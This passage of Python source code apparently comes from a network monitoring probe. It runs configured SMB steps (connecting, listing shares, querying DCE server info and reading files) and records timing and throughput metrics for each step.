result["smb-step-{:02d}-action".format(iStep)] = _step['type'] r = self.getDCEInfo() result["smb-step-{:02d}-delay-ms".format(iStep)] = round((time.time() - _ms) * 1000) result["smb-step-{:02d}-anndelta".format(iStep)] = r['anndelta'] result["smb-step-{:02d}-announce".format(iStep)] = r['announce'] result["smb-step-{:02d}-disc".format(iStep)] = r['disc'] result["smb-step-{:02d}-licenses".format(iStep)] = r['licenses'] result["smb-step-{:02d}-major".format(iStep)] = r['major'] result["smb-step-{:02d}-minor".format(iStep)] = r['minor'] result["smb-step-{:02d}-name".format(iStep)] = r['name'] result["smb-step-{:02d}-platform_id".format(iStep)] = r['platform_id'] result["smb-step-{:02d}-simultaneous_users".format(iStep)] = r['simultaneous_users'] return result # ----------------------------------------- def step_read_file(self, _step, iStep): """read a file """ result = {} result["smb-step-{:02d}-action".format(iStep)] = _step['type'] if self.useShare(_step['share']) is False: result["smb-step-{:02d}-error"] = "share not available: {}".format(_step['share']) return result result["smb-step-{:02d}-share".format(iStep)] = _step['share'] fileName = ntpath.normpath(string.replace(_step['file'], '/', '\\')) logging.debug("open file {}".format(fileName)) if _step.__contains__('blocksize'): blocksize = min(1024, _step['blocksize']) blocksize *= 1024 else: blocksize = 1024*1024 _ms = time.time() try: fid = self.smbClient.openFile(self.tid, fileName) offset = 0 endFile = False while endFile is False: _buffer = self.smbClient.readFile(self.tid, fid, offset, blocksize) if len(_buffer) == 0: endFile = True offset += len(_buffer) result["smb-step-{:02d}-read-KB".format(iStep)] = offset / 1024.0 result["smb-step-{:02d}-Mbps".format(iStep)] = (offset * 8 / (time.time() - _ms))/1024000 self.smbClient.closeFile(self.tid, fid) except Exception as e: logging.error("open file: {}".format(str(e))) result["smb-step-{:02d}-error".format(iStep)] = "error in open file: {}".format(_step['file']) result["smb-step-{:02d}-delay-ms".format(iStep)] = round((time.time() - _ms) * 1000) return result # ----------------------------------------- def job_smb(self, _config): """smb job """ _msTotal = time.time() if not _config.__contains__('server'): logging.error("no server specified") return if not _config.__contains__('user'): _config['user'] = "" if not _config.__contains__('password'): _config['password'] = "" if not _config.__contains__('domain'): _config['domain'] = "" if not _config.__contains__('ip'): _config['ip'] = _config['server'] if not _config.__contains__('port'): _config['port'] = 445 self.domain = _config['domain'] self.username = _config['user'] self.password = _config['password'] self.server = _config['server'] self.ip = _config['ip'] self.port = _config['port'] result = { "smb-domain": self.domain, "smb-user": self.username, "smb-server" : self.server } if not _config.__contains__('steps'): logging.error("no steps specified") result['smb-error'] = "no step specified in configuration" self.pushResult(result) return logging.info("connect") _ms = time.time() if self.connect() is False: logging.error("connect error") result['smb-error'] = "connect error" self.pushResult(result) return result['smb-connect-delay-ms'] = round((time.time() - _ms) * 1000) _ms = time.time() self.getShares() result['smb-get-shares-delay-ms'] = round((time.time() - _ms) * 1000) # exec each steps iStep = 1 while _config['steps'].__contains__("{:02d}".format(iStep)): _step = _config['steps']["{:02d}".format(iStep)] logging.debug("exec step {:02d}".format(iStep)) if _step['type'] == "get_file_stats": _r = self.step_get_file_stats(_step, iStep) result.update(_r) if _step['type'] == "get_dce_info": _r = self.step_get_dce_info(_step, iStep) result.update(_r) if _step['type'] == "get_share": _r = self.step_get_share(_step, iStep) result.update(_r) if _step['type'] == "read_file": _r = self.step_read_file(_step, iStep) result.update(_r) iStep += 1 # get the shares # print self.getShares() # get dce server info # pprint.pprint(self.getDCEInfo()) # self.useShare("notavail") # self.useShare("music") # self.cd("/Calogero/L'Embellie") # pprint.pprint(self.lsFiles()) logging.info("logout") self.logoff() result['smb-delay-ms'] = round((time.time() - _msTotal) * 1000) import pprint pprint.pprint(result) # logging.info("smb results : {}".format(result)) # exit() #self.pushResult(result) if 'run_once' in _config: logging.info("run only once, exit") exit()